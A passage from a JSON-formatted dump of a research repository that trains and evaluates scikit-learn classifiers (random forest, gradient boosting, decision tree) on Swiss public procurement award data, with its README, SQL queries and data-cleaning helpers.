axis=1)\n\n cross_val_scores = []\n for validation_run_index in range(cv):\n x_and_y_test, x_and_y_train = self.unique_train_and_test_split(x_and_y_values, random_state=validation_run_index)\n # Select all attributes but meldungsnummer\n xtest = x_and_y_test.drop(['projekt_id', 'Y'], axis=1)\n xtrain = x_and_y_train.drop(['projekt_id', 'Y'], axis=1)\n # Only select the response result attributes\n ytest = x_and_y_test['Y']\n ytrain = x_and_y_train['Y']\n\n clf = clf.fit(xtrain, ytrain)\n\n prediction = clf.predict(xtest)\n\n cross_val_scores.append(accuracy_score(ytest, prediction))\n return cross_val_scores\n\n def unique_train_and_test_split(self, df, random_state):\n run = shuffle(df, random_state=random_state) # run index as random state\n # Get each runs unique meldungsnummer\n unique_mn = run.projekt_id.unique()\n # Split the meldungsnummer between test and trainings set so there will be no bias in test set\n x_unique_test, x_unique_train = train_test_split(unique_mn, test_size=self.config['test_size'], random_state=random_state)\n # Add the remaining attributes to meldungsnummer\n x_and_y_test = run[run['projekt_id'].isin(x_unique_test)].copy()\n x_and_y_train = run[run['projekt_id'].isin(x_unique_train)].copy()\n return x_and_y_test, x_and_y_train\n\n\n # @param val: a value to be casted to numeric\n # @return a value that has been casted to an integer. Returns 0 if cast was not possible\n def tonumeric(val):\n try:\n return int(val)\n except:\n return 0\n\n # @param val: a string value to be categorised\n # @return uniffied gatt_wto resulting in either \"Yes\", \"No\" or \"?\"\n def unifyYesNo(val):\n switcher = {\n 'Ja': 1,\n 'Sì': 1,\n 'Oui': 1,\n 'Nein': 0,\n 'Nei': 0,\n 'Non': 0,\n }\n return switcher.get(val, 0)\n\n\n\n" }, { "alpha_fraction": 0.7891520261764526, "alphanum_fraction": 0.7891520261764526, "avg_line_length": 29.44186019897461, "blob_id": "9b5ae247d8d22b8843d213198c0ea7d94e7be62b", "content_id": "78c959ac299bf9ac969cf23a9b519e7d3cb94c60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1309, "license_type": "no_license", "max_line_length": 116, "num_lines": 43, "path": "/README.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "# Notebooks\n\n## Final Run\n\nRun with the final attribute selection, comparing the algorithms and show the accuracies of the selected contractor.\n\n## CPV Descriptive\n\nContains stats cpv division, categories, groups and corresponding invitations to tender\n\n## Each Attribute alone\n\nEvery attribute tries to predict if an invitation to tender is interesting\n\n# Log of JSON\n\n## dbs/gatt_wto\n\nattributes = ['gatt_wto','lose','teilangebote', 'varianten','sprache']\n\n## dbs/auftragsart_art\n\nattributes = ['auftragsart_art','beschaffungsstelle_plz','gatt_wto','lose','teilangebote', 'varianten','sprache']\n\n## dbs/plz\n\nattributes = ['beschaffungsstelle_plz','gatt_wto','lose','teilangebote', 'varianten','sprache']\n\n\n# Query used to get most of the needed stuff\n\n```\nSELECT *\nFROM beruecksichtigteanbieter_zuschlag\nJOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer\nJOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id\nJOIN projekt ON zuschlag.projekt_id = projekt.projekt_id\nJOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id\nJOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id\nJOIN cpv_dokument ON cpv_dokument.meldungsnummer = ausschreibung.meldungsnummer\nORDER BY ausschreibung.meldungsnummer;\n\n```\n" }, { "alpha_fraction": 0.5676946043968201, "alphanum_fraction": 0.5754900574684143, "avg_line_length": 39.95305252075195, "blob_id": "629ab9e2bb98d7c6b3c0ce0ac445f02f1e086852", "content_id": "16acd568800e0f0752b5a734f315a3cdba402ceb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17449, "license_type": "no_license", "max_line_length": 134, "num_lines": 426, "path": "/learn.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport math\nimport re\nfrom datetime import datetime\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score, confusion_matrix, matthews_corrcoef\nfrom sklearn import tree\n\nfrom db import connection, engine\n\nimport logging\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\nclass ModelTrainer():\n\n def __init__(self, select, anbieter, config, attributes=[]):\n self.anbieter = anbieter\n self.select = select\n self.attributes = attributes\n self.config = config\n\n def run(self):\n self.queryData()\n prepared_positives, prepared_negatives, duplicates = self.prepare_data()\n\n result = self.trainAllModels(prepared_positives, prepared_negatives)\n\n result['duplicates'] = duplicates.to_dict()\n\n return result\n\n def resetSQLData(self):\n try:\n del self.positives\n del self.negatives\n except:\n pass\n\n def trainAllModels(self, positives, negatives):\n\n result = {\n 'attributes': self.attributes,\n 'anbieter': self.anbieter,\n 'timestamp': datetime.now().isoformat()\n }\n samples = self.createSamples(positives, negatives)\n result = {**result, **self.trainAllAlgorithms(samples)}\n\n return result\n\n def createSamples(self, positives, negatives):\n negative_sample_size = math.ceil(len(positives) * (self.config['positive_to_negative_ratio'] + 1))\n samples = []\n for runIndex in range(self.config['runs']):\n negative_sample = negatives.sample(negative_sample_size, random_state=runIndex)\n\n sample = positives.append(negative_sample, ignore_index=True)\n sample.reset_index(drop=True, inplace=True)\n sample.fillna(0, inplace=True)\n sample = shuffle(sample, random_state=runIndex)\n samples.append(sample)\n return samples\n\n def trainAllAlgorithms(self, samples):\n result = {}\n for algorithm in self.config['enabled_algorithms']:\n if algorithm == 'random_forest':\n n_estimators = self.config[algorithm]['n_estimators']\n max_depth = self.config[algorithm]['max_depth']\n max_features = self.config[algorithm]['max_features']\n min_samples_split = self.config[algorithm]['min_samples_split']\n classifier = lambda randomState: RandomForestClassifier(\n n_estimators=n_estimators,\n max_depth=max_depth,\n max_features=max_features,\n min_samples_split=min_samples_split,\n random_state=randomState,\n n_jobs=-1\n )\n elif algorithm == 'gradient_boost':\n n_estimators = self.config[algorithm]['n_estimators']\n max_depth = self.config[algorithm]['max_depth']\n max_features = self.config[algorithm]['max_features']\n learning_rate = self.config[algorithm]['learning_rate']\n classifier = lambda randomState: GradientBoostingClassifier(\n n_estimators=n_estimators,\n max_depth=max_depth,\n max_features=max_features,\n learning_rate=learning_rate,\n random_state=randomState\n )\n elif algorithm == 'decision_tree':\n max_depth = self.config[algorithm]['max_depth']\n max_features = self.config[algorithm]['max_features']\n classifier = lambda randomState: DecisionTreeClassifier(\n max_depth=max_depth,\n max_features=max_features\n )\n else:\n raise Exception('enabled algorithm: {} doesn\\'t exist.'.format(algorithm))\n result[algorithm] = {}\n x_tests, y_tests = self.trainModel(samples, classifier, algorithm)\n\n result[algorithm]['metrics'] = self.config[algorithm]\n evaluation_dataframe = pd.concat([self.__getConfusionMatices(y_tests), self.__getAccuracies(y_tests)], axis=1, sort=False)\n result[algorithm]['data'] = evaluation_dataframe.to_dict()\n result[algorithm]['metadata'] = self.__getIterationMetadata(evaluation_dataframe)\n\n return result\n\n def trainModel(self, samples, get_classifier, algorithm):\n x_tests = []\n y_tests = []\n for runIndex, sample in enumerate(samples):\n classifier = get_classifier(runIndex)\n train, test = train_test_split(sample, random_state=runIndex)\n\n if 'skip_cross_val' not in self.config or not self.config['skip_cross_val']:\n # Compute cross validation (5-fold)\n scores = self.__cross_val_score(classifier, train, cv=5)\n print(scores)\n print('Avg. CV Score | {} Run {}: {:.2f}'.format(algorithm, runIndex, round(sum(scores)/len(scores), 4)))\n\n # Select all attributes\n x_test = test.drop(['Y'], axis=1)\n x_train = train.drop(['Y'], axis=1)\n # Only select the response result attributes\n y_test = test[['Y']].copy()\n y_train = train[['Y']]\n # Create the model\n # Train the model on training sets\n classifier = classifier.fit(x_train, y_train['Y'])\n\n # print the max_depths of all classifiers in a Random Forest\n if algorithm == 'random_forest':\n print('Random Forest Depts:', [self.dt_max_depth(t.tree_) for t in classifier.estimators_])\n # Create a file displaying the tree\n if 'draw_tree' in self.config and self.config['draw_tree'] and algorithm == 'decision_tree' and runIndex == 0:\n tree.export_graphviz(classifier, out_file='tree.dot', feature_names=x_train.columns)\n\n # Predict on the test sets\n prediction = classifier.predict(x_test)\n\n # Add run number to df\n y_test['run'] = runIndex\n x_test['run'] = runIndex\n # add prediction to df\n y_test['prediction'] = prediction\n # add result of run to df\n y_test['correct'] = y_test['prediction'] == y_test['Y']\n # add run to run arrays\n x_tests.append(x_test)\n y_tests.append(y_test)\n return x_tests, y_tests\n\n\n def queryData(self):\n if not hasattr(self, 'positives') or not hasattr(self, 'negatives'):\n self.positives = self.__runSql(True)\n self.negatives = self.__runSql(False)\n logger.info('sql done')\n return self.positives, self.negatives\n\n def __runSql(self, response):\n resp = '='\n if (not response):\n resp = '!='\n query = \"\"\"SELECT {} from beruecksichtigteanbieter_zuschlag\n JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer\n JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id\n JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id\n JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id\n JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id\n JOIN cpv_dokument ON cpv_dokument.meldungsnummer = ausschreibung.meldungsnummer\n WHERE anbieter.institution {} \"{}\"\n ORDER BY ausschreibung.meldungsnummer;\n \"\"\".format(self.select, resp, self.anbieter)\n return pd.read_sql(query, engine)\n\n def prepareUnfilteredRun(self, positive_sample, negative_samples):\n merged_samples_for_names = []\n for negative_sample in negative_samples:\n # Merge positive and negative df into one\n merged_samples_for_names.append(positive_sample.append(negative_sample, ignore_index=True).copy())\n return merged_samples_for_names\n\n\n def __getAccuracies(self, dfys):\n res = pd.DataFrame(columns=['accuracy', 'MCC', 'fn_rate'])\n for dfy in dfys:\n acc = round(accuracy_score(dfy.Y, dfy.prediction), 4)\n # f1 = round(f1_score(dfy.Y, dfy.prediction), 4)\n mcc = matthews_corrcoef(dfy.Y, dfy.prediction)\n matrix = confusion_matrix(dfy.Y, dfy.prediction)\n fnr = round(matrix[1][0] / (matrix[1][1] + matrix[1][0]), 4)\n # add row to end of df, *100 for better % readability\n res.loc[len(res)] = [ acc*100, mcc, fnr*100 ]\n return res\n\n def __getConfusionMatices(self, dfys):\n res = pd.DataFrame(columns=['tn', 'tp', 'fp', 'fn'])\n for dfy in dfys:\n # ConfusionMatrix legende:\n # [tn, fp]\n # [fn, tp]\n matrix = confusion_matrix(dfy.Y, dfy.prediction)\n res.loc[len(res)] = [ matrix[0][0], matrix[1][1], matrix[0][1], matrix[1][0] ]\n # res.loc['sum'] = res.sum() # Summarize each column\n return res\n\n def __getIterationMetadata(self, df):\n res = {}\n res['acc_mean'] = df['accuracy'].mean()\n res['acc_median'] = df['accuracy'].median()\n res['acc_min'] = df['accuracy'].min()\n res['acc_max'] = df['accuracy'].max()\n res['acc_quantile_25'] = df['accuracy'].quantile(q=.25)\n res['acc_quantile_75'] = df['accuracy'].quantile(q=.75)\n\n res['mcc_mean'] = df['MCC'].mean()\n res['mcc_median'] = df['MCC'].median()\n res['mcc_min'] = df['MCC'].min()\n res['mcc_max'] = df['MCC'].max()\n res['mcc_quantile_25'] = df['MCC'].quantile(q=.25)\n res['mcc_quantile_75'] = df['MCC'].quantile(q=.75)\n\n res['fn_rate_mean'] = df['fn_rate'].mean()\n res['fn_rate_median'] = df['fn_rate'].median()\n res['fn_rate_min'] = df['fn_rate'].min()\n res['fn_rate_max'] = df['fn_rate'].max()\n res['fn_rate_quantile_25'] = df['fn_rate'].quantile(q=.25)\n res['fn_rate_quantile_75'] = df['fn_rate'].quantile(q=.75)\n\n res['sample_size_mean'] = (df['fp'] + df['fn'] + df['tn'] + df['tp']).mean()\n return res\n\n def __cross_val_score(self, clf, sample, cv):\n\n cross_val_scores = []\n for validation_run_index in range(cv):\n train, test = train_test_split(sample, random_state=validation_run_index)\n # Select all attributes but meldungsnummer\n xtest = test.drop(['Y'], axis=1)\n xtrain = train.drop(['Y'], axis=1)\n # Only select the response result attributes\n ytest = test[['Y']]\n ytrain = train[['Y']]\n\n clf = clf.fit(xtrain, ytrain['Y'])\n\n prediction = clf.predict(xtest)\n\n cross_val_scores.append(accuracy_score(ytest, prediction))\n return cross_val_scores\n\n def prepare_data(self):\n\n filter_attributes = ['meldungsnummer'] + self.attributes\n # filter only specified attributes\n\n positives = self.positives[filter_attributes].copy()\n negatives = self.negatives[filter_attributes].copy()\n\n positives['Y'] = 1\n negatives['Y'] = 0\n\n merged = positives.append(negatives, ignore_index=True)\n\n if hasattr(self, 'cleanData'):\n positives = self.cleanData(positives, self.attributes)\n negatives = self.cleanData(negatives, self.attributes)\n\n else:\n # positives = self.preprocess_data(positives, self.attributes)\n # negatives = self.preprocess_data(negatives, self.attributes)\n merged, duplicates = self.preprocess_data(merged, self.attributes)\n\n\n positives = merged[merged['Y']==1]\n negatives = merged[merged['Y']==0]\n\n return positives, negatives, duplicates\n\n\n def preprocess_data(self, df, filters):\n df = df.copy()\n # drop duplicates before starting to preprocess\n df = df.drop_duplicates()\n\n if 'ausschreibung_cpv' in filters:\n split = {\n 'division': lambda x: math.floor(x/1000000),\n 'group': lambda x: math.floor(x/100000),\n 'class': lambda x: math.floor(x/10000),\n 'category': lambda x: math.floor(x/1000)\n }\n for key, applyFun in split.items():\n df['cpv_' + key ] = df['ausschreibung_cpv'].apply(applyFun)\n\n tmpdf = {}\n for key in split.keys():\n key = 'cpv_' + key\n tmpdf[key] = df[['meldungsnummer']].join(pd.get_dummies(df[key], prefix=key)).groupby('meldungsnummer').max()\n\n encoded_df = pd.concat([tmpdf['cpv_'+ key] for key in split.keys()], axis=1)\n df = df.drop(['cpv_' + key for key, fun in split.items()], axis=1)\n\n df = df.drop(['ausschreibung_cpv'], axis=1)\n df = df.drop_duplicates()\n\n df = df.join(encoded_df, on='meldungsnummer')\n\n\n if 'gatt_wto' in filters:\n df[['gatt_wto']] = df[['gatt_wto']].applymap(ModelTrainer.unifyYesNo)\n if 'anzahl_angebote' in filters:\n df[['anzahl_angebote']] = df[['anzahl_angebote']].applymap(ModelTrainer.tonumeric)\n if 'teilangebote' in filters:\n df[['teilangebote']] = df[['teilangebote']].applymap(ModelTrainer.unifyYesNo)\n if 'lose' in filters:\n df[['lose']] = df[['lose']].applymap(ModelTrainer.unifyYesNoOrInt)\n if 'varianten' in filters:\n df[['varianten']] = df[['varianten']].applymap(ModelTrainer.unifyYesNo)\n if 'auftragsart_art' in filters:\n auftrags_art_df = pd.get_dummies(df['auftragsart_art'], prefix='aftrgsrt', dummy_na=True)\n df = pd.concat([df,auftrags_art_df],axis=1).drop(['auftragsart_art'], axis=1)\n if 'sprache' in filters:\n sprache_df = pd.get_dummies(df['sprache'], prefix='lang', dummy_na=True)\n df = pd.concat([df,sprache_df],axis=1).drop(['sprache'], axis=1)\n if 'auftragsart' in filters:\n auftragsart_df = pd.get_dummies(df['auftragsart'], prefix='auftr', dummy_na=True)\n df = pd.concat([df,auftragsart_df],axis=1).drop(['auftragsart'], axis=1)\n if 'beschaffungsstelle_plz' in filters:\n # plz_df = pd.get_dummies(df['beschaffungsstelle_plz'], prefix='beschaffung_plz', dummy_na=True)\n # df = pd.concat([df,plz_df],axis=1).drop(['beschaffungsstelle_plz'], axis=1)\n df['beschaffungsstelle_plz'] = df['beschaffungsstelle_plz'].apply(ModelTrainer.transformToSingleInt)\n split = {\n 'district': lambda x: math.floor(x/1000) if not math.isnan(x) else x,\n 'area': lambda x: math.floor(x/100) if not math.isnan(x) else x,\n }\n prefix = 'b_plz_'\n\n for key, applyFun in split.items():\n df[prefix + key] = df['beschaffungsstelle_plz'].apply(applyFun)\n\n df.rename(columns={'beschaffungsstelle_plz': prefix + 'ganz'}, inplace=True)\n\n for key in ['ganz'] + list(split.keys()):\n key = prefix + key\n df = pd.concat([df, pd.get_dummies(df[key], prefix=key, dummy_na=True)], axis=1).drop(key, axis=1)\n\n df.drop_duplicates(inplace=True)\n if any(df.duplicated(['meldungsnummer'])):\n logger.warning(\"duplicated meldungsnummer\")\n duplicates = df[df.duplicated(['meldungsnummer'])]\n\n df = df.drop(['meldungsnummer'], axis=1)\n\n return df, duplicates\n\n def dt_max_depth(self, tree):\n n_nodes = tree.node_count\n children_left = tree.children_left\n children_right = tree.children_right\n def walk(node_id):\n if (children_left[node_id] != children_right[node_id]):\n left_max = 1 + walk(children_left[node_id])\n right_max = 1 + walk(children_right[node_id])\n return max(left_max, right_max)\n else: # is leaf\n return 1\n root_node_id = 0\n return walk(root_node_id)\n\n\n # @param val: a value to be casted to numeric\n # @return a value that has been casted to an integer. Returns 0 if cast was not possible\n def tonumeric(val):\n try:\n return int(val)\n except:\n return 0\n\n # @param val: a string value to be categorised\n # @return uniffied gatt_wto resulting in either \"Yes\", \"No\" or \"?\"\n @staticmethod\n def unifyYesNo(val):\n switcher = {\n 'Ja': 1,\n 'Sì': 1,\n 'Oui': 1,\n 'YES': 1,\n 'Nein': 0,\n 'Nei': 0,\n 'Non': 0,\n 'NO': 0,\n }\n return switcher.get(val, 0)\n\n @staticmethod\n def unifyYesNoOrInt(val):\n try:\n return int(val)\n except ValueError:\n return ModelTrainer.unifyYesNo(val)\n\n @staticmethod\n def transformToSingleInt(plz):\n try:\n result = int(plz)\n\n except ValueError:\n try:\n result = int(re.search(r\"\\d{4}\", plz).group())\n except AttributeError:\n return np.nan\n\n return result if result >= 1000 and result <= 9999 else np.nan\n" }, { "alpha_fraction": 0.6582144498825073, "alphanum_fraction": 0.6825106143951416, "avg_line_length": 41.13821029663086, "blob_id": "662e4de7cbb0e5000d87e828f114883c97540759", "content_id": "d16db4b38597de6da5d74cd2ba509056a51ccc95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10382, "license_type": "no_license", "max_line_length": 124, "num_lines": 246, "path": "/helpers.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "from db import connection, engine\nimport math\nimport pandas as pd\nimport numpy as np\nfrom sklearn import tree\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix, accuracy_score, roc_curve, auc\n\n# =====================\n# SQL SELECT STATEMENTS\n# =====================\n\n\n# @param select: SELECT argument formatted as string\n# @return a Pandas dataframe from the full Simap datanbase depending on the SQL SELECT Query\ndef getFromSimap(select):\n query = \"\"\"SELECT {} from (((((beruecksichtigteanbieter_zuschlag\n INNER JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer)\n INNER JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id)\n INNER JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id)\n INNER JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id)\n INNER JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id\n INNER JOIN cpv_dokument ON cpv_dokument.meldungsnummer = zuschlag.meldungsnummer)\n INNER JOIN cpv ON cpv_dokument.cpv_nummer = cpv.cpv_nummer;\n \"\"\".format(select)\n return pd.read_sql(query, connection);\n\n# @param bidder: anbieter.institution name formatted as string\n# @return a Pandas dataframe showing the most important CPV codes per bidder. (Zuschläge pro CPV Code)\ndef getCpvCount(bidder):\n query = \"\"\"SELECT cpv.cpv_nummer, cpv.cpv_deutsch, COUNT(cpv_dokument.cpv_nummer)\n FROM cpv, cpv_dokument, zuschlag, beruecksichtigteanbieter_zuschlag, anbieter WHERE\n cpv.cpv_nummer = cpv_dokument.cpv_nummer AND\n cpv_dokument.meldungsnummer = zuschlag.meldungsnummer AND\n zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer AND\n beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id AND\n anbieter.institution = \"{}\"\n GROUP BY cpv_nummer\n ORDER BY COUNT(cpv_dokument.cpv_nummer) DESC;\n \"\"\".format(bidder)\n return pd.read_sql(query, connection);\n\n# @param bidder: anbieter.institution formatted as string of which you want to see the CPV code diversity\n# @return a Pandas Dataframe that contains a the diversity of CPV codes per bidder\ndef getCpvDiversity(bidder):\n query = \"\"\"SELECT anbieter.institution, COUNT(beruecksichtigteanbieter_zuschlag.anbieter_id)\n AS \"Anzahl Zuschläge\", COUNT(DISTINCT cpv_dokument.cpv_nummer) AS \"Anzahl einzigartige CPV-Codes\", \n SUM(IF(beruecksichtigteanbieter_zuschlag.preis_summieren = 1,beruecksichtigteanbieter_zuschlag.preis,0))\n AS \"Ungefähres Zuschlagsvolumen\", MIN(zuschlag.datum_publikation) AS \"Von\", MAX(zuschlag.datum_publikation) AS \"Bis\"\n FROM cpv, cpv_dokument, zuschlag, beruecksichtigteanbieter_zuschlag, anbieter\n WHERE cpv.cpv_nummer = cpv_dokument.cpv_nummer AND\n cpv_dokument.meldungsnummer = zuschlag.meldungsnummer AND\n zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer AND\n beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id\n AND anbieter.institution=\"{}\"\n GROUP BY anbieter.institution\n ORDER BY `Anzahl einzigartige CPV-Codes` DESC\n \"\"\".format(bidder)\n return pd.read_sql(query, connection);\n\n\n# @param select_anbieter: SQL SELECT for the bidder side. Backup:\n'''\nselect_an = (\n \"anbieter.anbieter_id, \"\n \"anbieter.anbieter_plz, \"\n \"anbieter.institution as anbieter_insitution, \"\n \"cpv_dokument.cpv_nummer as anbieter_cpv, \"\n \"ausschreibung.meldungsnummer\" )\n'''\n# @param select_aus: SQL SELECT for the open tenders. Backup:\n'''\nselect_aus = (\n \"anbieter.anbieter_id, \"\n \"auftraggeber.institution as beschaffungsstelle_institution, \"\n \"auftraggeber.beschaffungsstelle_plz, \"\n \"ausschreibung.gatt_wto, \"\n \"cpv_dokument.cpv_nummer as ausschreibung_cpv, \"\n \"ausschreibung.meldungsnummer\" )\n'''\n# @param bidder: the bidder formatted as string you or do not want the corresponding responses from\n# @param response: True if you want all the tenders of the bidder or False if you do not want any (the negative response)\n# @return a dataframe containing negative or positive bidding cases of a chosen bidder\ndef getResponses(select_anbieter, select_ausschreibung, bidder, response):\n resp = '=';\n if (not response):\n resp = '!='\n query = \"\"\"SELECT * FROM (SELECT {} from ((((((beruecksichtigteanbieter_zuschlag\n INNER JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer)\n INNER JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id)\n INNER JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id)\n INNER JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id)\n INNER JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id)\n INNER JOIN cpv_dokument ON cpv_dokument.meldungsnummer = zuschlag.meldungsnummer)\n WHERE anbieter.institution {} \"{}\" ) anbieter\n JOIN (SELECT {} from ((((((beruecksichtigteanbieter_zuschlag\n INNER JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer)\n INNER JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id)\n INNER JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id)\n INNER JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id)\n INNER JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id)\n INNER JOIN cpv_dokument ON cpv_dokument.meldungsnummer = ausschreibung.meldungsnummer)\n WHERE anbieter.institution {} \"{}\"\n ) ausschreibung ON ausschreibung.meldungsnummer2 = anbieter.meldungsnummer\n ORDER BY ausschreibung.meldungsnummer2;\n \"\"\".format(select_anbieter, resp, bidder, select_ausschreibung, resp, bidder)\n return pd.read_sql(query, connection);\n\n\n# @return\ndef getCpvRegister():\n return pd.read_sql(\"SELECT * FROM cpv\", connection);\n\n# @param select_an\n# @param select_aus\n# @param anbieter\n# @return\ndef createAnbieterDf(select_an, select_aus, anbieter):\n # Create a new DFs one containing all positiv, one all the negative responses\n data_pos = getResponses(select_an, select_aus, anbieter, True)\n data_neg = getResponses(select_an, select_aus, anbieter, False)\n return data_pos.copy(), data_neg.copy()\n\n\n# ========================\n# MODEL CREATION FUNCTIONS\n# ========================\n\n\n# @param df_pos_full\n# @param df_neg_full\n# @param negSampleSize\n# @return\ndef decisionTreeRun(df_pos_full, df_neg_full , neg_sample_size):\n df_pos = df_pos_full\n # Create a random DF subset ussed to train the model on\n df_neg = df_neg_full.sample(neg_sample_size)\n # Assign pos/neg lables to both DFs\n df_pos['Y']=1\n df_neg['Y']=0\n # Merge the DFs into one\n df_appended = df_pos.append(df_neg, ignore_index=True)\n # Clean PLZ property\n df_appended[['anbieter_plz']] = df_appended[['anbieter_plz']].applymap(tonumeric)\n df_appended[['beschaffungsstelle_plz']] = df_appended[['beschaffungsstelle_plz']].applymap(tonumeric)\n # Shuffle the df\n df_tree = df_appended.sample(frac=1)\n # Put responses in one arry and all diesired properties in another\n y = df_tree.iloc[:,[11]]\n x = df_tree.iloc[:,[1,3,7,9]]\n # create sets\n xtrain, xtest, ytrain, ytest = train_test_split(x, y, test_size=0.25)\n # train the model on training sets\n clf = tree.DecisionTreeClassifier()\n clf = clf.fit(xtrain, ytrain)\n # predict on the test sets\n res = clf.predict(xtest)\n ytest[\"res\"]= res\n ytest['richtig'] = ytest['res']==ytest['Y']\n tp = ytest[(ytest['Y']==1) & (ytest['res']==1)]\n tn = ytest[(ytest['Y']==0) & (ytest['res']==0)]\n fp = ytest[(ytest['Y']==0) & (ytest['res']==1)]\n fn = ytest[(ytest['Y']==1) & (ytest['res']==0)]\n return len(df_pos.index) / neg_sample_size, accuracy_score(ytest.Y, res), confusion_matrix(ytest.Y, res);\n\n\n# @param full_neg: dataframe containing all negative responses for that bidder\n# @param df_pos_size: amount of data in the positive dataframe\n# @param amount_neg_def: how many response_negative dataframes the function will produce\n# @param pos_neg_ratio: what the ratio of positive to negative responses will be\n# @return a list of negative response dataframes, each considered for one run\ndef createNegativeResponses(full_neg, pos_df_size, amount_neg_df, pos_neg_ratio):\n all_negatives = [];\n sample_size = math.ceil(pos_df_size * (pos_neg_ratio + 1));\n for count in range(amount_neg_df):\n all_negatives.append(full_neg.sample(sample_size, random_state=count));\n return all_negatives;\n\n\n\n# =======================\n# DATA CLEANING FUNCTIONS\n# =======================\n\n\n# @param val: a value to be casted to numeric\n# @return a value that has been casted to an integer. Returns 0 if cast was not possible\ndef tonumeric(val):\n\ttry:\n\t\treturn int(val)\n\texcept:\n\t\treturn 0\n\n# @param val: a string value to be categorised\n# @return uniffied gatt_wto resulting in either \"Yes\", \"No\" or \"?\"\ndef unifyYesNo(val):\n switcher = {\n 'Ja': 1,\n 'Sì': 1,\n 'Oui': 1,\n 'Nein': 0,\n 'Nei': 0,\n 'Non': 0,\n }\n return switcher.get(val, 0)\n\n# TODO: Kategorien mit Matthias absprechen\n# @param v: the price of a procurement\n# @return map prices to 16 categories\ndef createPriceCategory(val):\n try:\n val = int(val)\n except:\n val = -1\n if val == 0:\n return 0\n if 0 < val <= 100000:\n return 1\n if 100000 < val <= 250000:\n return 2\n if 250000 < val <= 500000:\n return 3\n if 500000 < val <= 750000:\n return 4\n if 750000 < val <= 1000000:\n return 5\n if 1000000 < val <= 2500000:\n return 6\n if 2500000 < val <= 5000000:\n return 7\n if 5000000 < val <= 10000000:\n return 8\n if 10000000 < val <= 25000000:\n return 9\n if 25000000 < val <= 50000000:\n return 10\n if 50000000 < val <= 100000000:\n return 11\n if 100000000 < val <= 200000000:\n return 12\n if 200000000 < val <= 500000000:\n return 13\n if val > 500000000:\n return 14\n else:\n return -1\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5655502676963806, "alphanum_fraction": 0.5674641132354736, "avg_line_length": 34.423728942871094, "blob_id": "e59cbb9482890819bc7cb7091fd65b9bb205f0da", "content_id": "44e6d59e14f3898aa8aef642f1db9614730539ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2090, "license_type": "no_license", "max_line_length": 102, "num_lines": 59, "path": "/collection.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "import json\nimport pandas as pd\nimport warnings\n\nclass Collection():\n\n algorithms = ['gradient_boost', 'decision_tree', 'random_forest']\n\n def __init__(self):\n self.list = []\n\n\n def append(self, item):\n self.list.append(item)\n\n def __iter__(self):\n return iter(self.list)\n\n def get_all_as_df(self, algorithm):\n try:\n tmp = []\n for iteration in self.list:\n tmp.append(iteration[algorithm]['metadata'])\n return pd.DataFrame(tmp, index=[iteration['anbieter'] for iteration in self.list])\n except:\n warnings.warn('Select an algorithm: \"random_forest\", \"gradient_boost\" or \"decision_tree\"')\n\n def df_row_per_algorithm(self):\n tmp = []\n for iteration in self.list:\n for algorithm in self.algorithms:\n output = iteration[algorithm]['metadata']\n evaluation_dataframe = pd.DataFrame.from_dict(iteration[algorithm]['data'])\n # missing metrics\n output['acc_std'] = evaluation_dataframe['accuracy'].std()\n evaluation_dataframe['MCC'] = evaluation_dataframe['MCC']*100\n output['mcc_std'] = evaluation_dataframe['MCC'].std()\n output['fn_std'] = evaluation_dataframe['fn_rate'].std()\n\n output['anbieter'] = iteration['anbieter']\n output['label'] = 